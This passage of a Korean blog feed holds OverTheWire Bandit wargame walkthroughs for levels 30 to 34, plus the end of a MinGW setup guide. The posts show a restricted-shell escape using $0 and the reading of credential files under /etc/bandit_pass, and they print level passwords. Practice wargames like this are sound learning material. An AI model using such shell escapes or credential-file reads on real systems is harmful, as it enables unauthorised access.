&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;C:\MinGW\bin&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;C:\MinGW\msys\1.0\bin&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;두 가지 경로를 추가해주세요&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;527&quot; data-origin-height=&quot;501&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eq7Mf1/dJMcaajGF87/uJHt5t3Dcp8K44e4qBW6r0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eq7Mf1/dJMcaajGF87/uJHt5t3Dcp8K44e4qBW6r0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eq7Mf1/dJMcaajGF87/uJHt5t3Dcp8K44e4qBW6r0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feq7Mf1%2FdJMcaajGF87%2FuJHt5t3Dcp8K44e4qBW6r0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;527&quot; height=&quot;501&quot; data-origin-width=&quot;527&quot; data-origin-height=&quot;501&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;다 설정하셨으면 확인 누르고 나오셔서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;우선 컴퓨터를 재시작해주세요&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;켜지면 cmd를 관리자 권한으로 켜주세요&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l7ch2/dJMcafywGzC/2fy1IVg2M6hkWdCw3xI4Ek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l7ch2/dJMcafywGzC/2fy1IVg2M6hkWdCw3xI4Ek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l7ch2/dJMcafywGzC/2fy1IVg2M6hkWdCw3xI4Ek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl7ch2%2FdJMcafywGzC%2F2fy1IVg2M6hkWdCw3xI4Ek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;717&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령창에 [gcc --version] 입력하시면 잘 설치됐는지 확인 가능합니다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;628&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGEuGn/dJMcadtTAYl/KGE9O0lrLFEyZ1IOik0o70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGEuGn/dJMcadtTAYl/KGE9O0lrLFEyZ1IOik0o70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGEuGn/dJMcadtTAYl/KGE9O0lrLFEyZ1IOik0o70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGEuGn%2FdJMcadtTAYl%2FKGE9O0lrLFEyZ1IOik0o70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1115&quot; height=&quot;628&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;628&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 c언어로 코딩을 ..&lt;/p&gt;</description>
      <author>jokkams</author>
      <guid isPermaLink="true">https://jokkams.tistory.com/65</guid>
      <comments>https://jokkams.tistory.com/65#entry65comment</comments>
      <pubDate>Wed, 31 Dec 2025 23:36:02 +0900</pubDate>
    </item>
    <item>
      <title>[OverTheWire] bandit 33 -&amp;gt; 34</title>
      <link>https://jokkams.tistory.com/64</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;At this moment, level 34 does not exist yet.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직은 34레벨이 존재하지 않는다길래 혹시 이것도 혹시 낚시 중에 하나인가?! 하고 들어가봤습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1766132024267&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~]
└─$ ssh -p 2220 bandit33@bandit.labs.overthewire.org
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

backend: gibson-0
bandit33@bandit.labs.overthewire.org's password:

      ,----..            ,----,          .---.
     /   /   \         ,/   .`|         /. ./|
    /   .     :      ,`   .'  :     .--'.  ' ;
   .   /   ;.  \   ;    ;     /    /__./ \ : |
  .   ;   /  ` ; .'___,/    ,' .--'.  '   \' .
  ;   |  ; \ ; | |    :     | /___/ \ |    ' '
  |   :  | ; | ' ;    |.';  ; ;   \  \;      :
  .   |  ' ' ' : `----'  |  |  \   ;  `      |
  '   ;  \; /  |     '   :  ;   .   \    .\  ;
   \   \  ',  /      |   |  '    \   \   ' \ |
    ;   :    /       '   :  |     :   '  |--&quot;
     \   \ .'        ;   |.'       \   \ ;
  www. `---` ver     '---' he       '---&quot; ire.org


Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.
.
.
.
.
  Enjoy your stay!



bandit33@bandit:~$ ls
README.txt
bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!

At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.

If you have an idea for an awesome new level, please let us know!&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진짜로 제가 bandit 게임을 다 푼 것 같습니다??&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 진짜 마지막으로 혹시 모르니까 /etc/bandit_pass/들어가서 bandit34 비번이 없는건지 최종 확인만 해보겠습니다&lt;/p&gt;
&lt;pre id=&quot;code_1766132825565&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bandit33@bandit:~$ cd /etc/bandit_pass

bandit33@bandit:/etc/bandit_pass$ ls
bandit0   bandit11  bandit14  bandit17  bandit2   bandit22  bandit25  bandit28  bandit30  bandit33  bandit6  bandit9
bandit1   bandit12  bandit15  bandit18  bandit20  bandit23  bandit26  bandit29  bandit31  bandit4   bandit7
bandit10  bandit13  bandit16  bandit19  bandit21  bandit24  bandit27  bandit3   bandit32  bandit5   bandit8&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진짜로 bandit34 password는 찾을 수 없었습니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스 공부 재밌었습니다!&lt;/p&gt;</description>
      <category>bandit</category>
      <author>jokkams</author>
      <guid isPermaLink="true">https://jokkams.tistory.com/64</guid>
      <comments>https://jokkams.tistory.com/64#entry64comment</comments>
      <pubDate>Fri, 19 Dec 2025 17:27:34 +0900</pubDate>
    </item>
    <item>
      <title>[OverTheWire] bandit 32 -&amp;gt; 33</title>
      <link>https://jokkams.tistory.com/63</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;After all this&lt;span&gt;&amp;nbsp;&lt;/span&gt;git&lt;span&gt;&amp;nbsp;&lt;/span&gt;stuff, it&amp;rsquo;s time for another escape. Good luck!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hint: &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;sh, man&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;서버로 들어가봤습니다&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1765966348683&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿KimMDR)-[~]
└─$ ssh -p2220 bandit32@bandit.labs.overthewire.org
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

backend: gibson-0
bandit32@bandit.labs.overthewire.org's password:
man
      ,----..            ,----,          .---.
     /   /   \         ,/   .`|         /. ./|
    /   .     :      ,`   .'  :     .--'.  ' ;
   .   /   ;.  \   ;    ;     /    /__./ \ : |
  .   ;   /  ` ; .'___,/    ,' .--'.  '   \' .
  ;   |  ; \ ; | |    :     | /___/ \ |    ' '
  |   :  | ; | ' ;    |.';  ; ;   \  \;      :
  .   |  ' ' ' : `----'  |  |  \   ;  `      |
  '   ;  \; /  |     '   :  ;   .   \    .\  ;
   \   \  ',  /      |   |  '    \   \   ' \ |
    ;   :    /       '   :  |     :   '  |--&quot;
     \   \ .'        ;   |.'       \   \ ;
  www. `---` ver     '---' he       '---&quot; ire.org


Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.

--[ Playing the games ]--
.
.
.
.

  Enjoy your stay!

WELCOME TO THE UPPERCASE SHELL
&amp;gt;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진입하니까 sh 상태였는데요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 모든 문자를 대문자로 바꾸고 있는 이상한 쉘로 진입을 했더라구요?&lt;/p&gt;
&lt;pre id=&quot;code_1765967078163&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;WELCOME TO THE UPPERCASE SHELL
&amp;gt;&amp;gt; ls
sh: 1: LS: Permission denied
&amp;gt;&amp;gt; pwd
sh: 1: PWD: Permission denied
&amp;gt;&amp;gt; whoami
sh: 1: WHOAMI: Permission denied
&amp;gt;&amp;gt; #
&amp;gt;&amp;gt; !
sh: 2: Syntax error: newline unexpected
&amp;gt;&amp;gt; 1
sh: 1: 1: Permission denied
&amp;gt;&amp;gt; a
sh: 1: A: Permission denied
&amp;gt;&amp;gt; Z&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이걸 알아먹게 하기 위해서 사용할 수 있는 명령어가 있습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$0 인데 이건 현재 쉘 이름을 의미하는 변수라서 위와 같이 모든 문자가 대문자로 변환되는 영향을 받지 않습니다&lt;/p&gt;
&lt;pre id=&quot;code_1765967488459&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sh: 1: Z: Permission denied
&amp;gt;&amp;gt; $
sh: 1: $: Permission denied
&amp;gt;&amp;gt; $1
&amp;gt;&amp;gt; $?
sh: 1: 0: Permission denied
&amp;gt;&amp;gt; $0
$ cat /etc/bandit_pass/bandit33
tQdtbs5D5i2vJwkO8mEyYEyTL8izoeJ0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서.. 권한 없어서 안될까 했는데 읽어지네요&lt;/p&gt;</description>
      <category>bandit</category>
      <author>jokkams</author>
      <guid isPermaLink="true">https://jokkams.tistory.com/63</guid>
      <comments>https://jokkams.tistory.com/63#entry63comment</comments>
      <pubDate>Wed, 17 Dec 2025 19:32:44 +0900</pubDate>
    </item>
    <item>
      <title>[OverTheWire] bandit 31 -&amp;gt; 32</title>
      <link>https://jokkams.tistory.com/62</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; There is a git repository at&amp;nbsp;&lt;/span&gt;ssh://bandit31-git@bandit.labs.overthewire.org/home/bandit31-git/repo&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;via the port&amp;nbsp;&lt;/span&gt;2220&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;. The password for the user&amp;nbsp;&lt;/span&gt;bandit31-git&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;is the same as for the user&amp;nbsp;&lt;/span&gt;bandit31&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; Clone the repository and find the password for the next level.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;hint: git&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;이번에도 git clone인데 웬일로 bandit31서버에 새로운 파일이 있었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;email과 username을 알려줬네요&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1765633827537&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bandit31@bandit:~$ la -al
total 24
drwxr-xr-x   2 root root 4096 Oct 14 09:26 .
drwxr-xr-x 150 root root 4096 Oct 14 09:29 ..
-rw-r--r--   1 root root  220 Mar 31  2024 .bash_logout
-rw-r--r--   1 root root 3851 Oct 14 09:19 .bashrc
-rwxr-xr-x   1 root root   59 Oct 14 09:26 .gitconfig
-rw-r--r--   1 root root  807 Mar 31  2024 .profile
bandit31@bandit:~$ cat .gitconfig
[user]
        email = bandit31@overthewire.org
        name = bandit31&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 하던대로 repo 폴더를 clone해오겠습니다&lt;/p&gt;
&lt;pre id=&quot;code_1765633930974&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~]
└─$ git clone ssh://bandit31-git@bandit.labs.overthewire.org:2220/home/bandit31-git/repo
Cloning into 'repo'...
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

backend: gibson-0
bandit31-git@bandit.labs.overthewire.org's password:
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (4/4), done.

┌──(miso㉿Miso)-[~]
└─$ ls
bandit26.sshkey  repo

┌──(miso㉿Miso)-[~]
└─$ cd repo/

┌──(miso㉿Miso)-[~/repo]
└─$ ls
README.md

┌──(miso㉿Miso)-[~/repo]
└─$ cat README.md
This time your task is to push a file to the remote repository.

Details:
    File name: key.txt
    Content: 'May I come in?'
    Branch: master&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;읽어보니까 로컬 branch에 있는 master reference를 remote branch로 보내라고 하네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(텍스트 파일이름은 key.txt | 파일 내용은: May I come in?)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;master branch 위치에서 key.txt를 만들어봅시다&lt;/p&gt;
&lt;pre id=&quot;code_1765634338523&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git branch -a
* master   &amp;lt;-- 이미 master에 있네요
  remotes/origin/HEAD -&amp;gt; origin/master
  remotes/origin/master
  
┌──(miso㉿Miso)-[~/repo]
└─$ echo &quot;May I come in?&quot; &amp;gt; key.txt

┌──(miso㉿Miso)-[~/repo]
└─$ ls
key.txt  README.md

┌──(miso㉿Miso)-[~/repo]
└─$ cat key.txt
May I come in?&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 이제 remote branch에 보내야겠죠?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;remote에 push 하려면 순서가&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;add&lt;/li&gt;
&lt;li&gt;commit&lt;/li&gt;
&lt;li&gt;push&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;형식으로 진행하면 됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1765634580070&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git add -f key.txt

┌──(miso㉿Miso)-[~/repo]
└─$ git commit -m &quot;text.txt push&quot;
Author identity unknown

*** Please tell me who you are.

Run

  git config --global user.email &quot;you@example.com&quot;
  git config --global user.name &quot;Your Name&quot;

to set your account's default identity.
Omit --global to set the identity only in this repository.

fatal: empty ident name (for &amp;lt;miso@Miso.localdomain&amp;gt;) not allowed&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어를 하나씩 봅시다&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;git add -f key.txt&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;key.txt 를 강제(-f)로 stage에 올리겠다는 명령어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(.gitignore 설정에서 텍스트 파일이나 특정 파일을 무시하게 설정 돼있을 때 이를 무시하기 위해 -f(force) 옵션을 씀)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;git commit -m &quot;key.txt remote push&quot;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방금 stage에 올린 key.txt를 commit 할 것이고, 저장 메세지는 &lt;span style=&quot;color: #666666; text-align: left;&quot;&gt;&quot;key.txt remote push&quot; 이걸로 하겠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #666666; text-align: left;&quot;&gt;그런데 commit을 하려고 했더니 제가 누군지 물어보네요 그래서 친절하게 알려준 명령어 대로 설정을 해줬습니다&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1765635133666&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git commit -m &quot;key.txt remote push&quot;
Author identity unknown

*** Please tell me who you are.

Run

  git config --global user.email &quot;you@example.com&quot;
  git config --global user.name &quot;Your Name&quot;

to set your account's default identity.
Omit --global to set the identity only in this repository.

fatal: empty ident name (for &amp;lt;bandit31@overthewire.org&amp;gt;) not allowed


┌──(miso㉿Miso)-[~/repo]
└─$ git config --global user.name &quot;bandit31&quot;    &amp;lt;-- 이렇게

┌──(miso㉿Miso)-[~/repo]
└─$ git config --global user.email &quot;bandit31@overthewire.org&quot;  &amp;lt;-- 22&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 다시 commit 하면?&lt;/p&gt;
&lt;pre id=&quot;code_1765635207100&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git commit -m &quot;key.txt remote push&quot;
[master 2799740] key.txt remote push
 1 file changed, 1 insertion(+)
 create mode 100644 key.txt

┌──(miso㉿Miso)-[~/repo]
└─$ git log
commit 2799740d58e4496a32a88659ceff986c9e1cd600 (HEAD -&amp;gt; master)
Author: bandit31 &amp;lt;bandit31@overthewire.org&amp;gt;
Date:   Sat Dec 13 22:46:04 2025 +0900

    key.txt remote push

commit cd07323d7f306c783ace9cbd45668f9c7f621122 (origin/master, origin/HEAD)
Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
Date:   Tue Oct 14 09:26:24 2025 +0000

    initial commit&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 쓴 메세지 대로 commit 됐죠?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 push 해주면 됩니다&lt;/p&gt;
&lt;pre id=&quot;code_1765635315562&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git push
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

backend: gibson-0
bandit31-git@bandit.labs.overthewire.org's password:
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 18 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 331 bytes | 331.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: 3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo
 ! [remote rejected] master -&amp;gt; master (pre-receive hook declined)
error: failed to push some refs to 'ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;bandit 31 -&amp;gt; 32 password : 3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K&lt;/blockquote&gt;</description>
      <category>bandit</category>
      <author>jokkams</author>
      <guid isPermaLink="true">https://jokkams.tistory.com/62</guid>
      <comments>https://jokkams.tistory.com/62#entry62comment</comments>
      <pubDate>Sat, 13 Dec 2025 23:16:34 +0900</pubDate>
    </item>
    <item>
      <title>[OverTheWire] bandit 30 -&amp;gt; 31</title>
      <link>https://jokkams.tistory.com/61</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;span style=&quot;text-align: start;&quot;&gt;There is a git repository at&amp;nbsp;&lt;/span&gt;&lt;/span&gt;ssh://bandit30-git@bandit.labs.overthewire.org/home/bandit30-git/repo&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;via the port&amp;nbsp;&lt;/span&gt;2220&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;. The password for the user&amp;nbsp;&lt;/span&gt;bandit30-git&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;is the same as for the user&amp;nbsp;&lt;/span&gt;bandit30&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
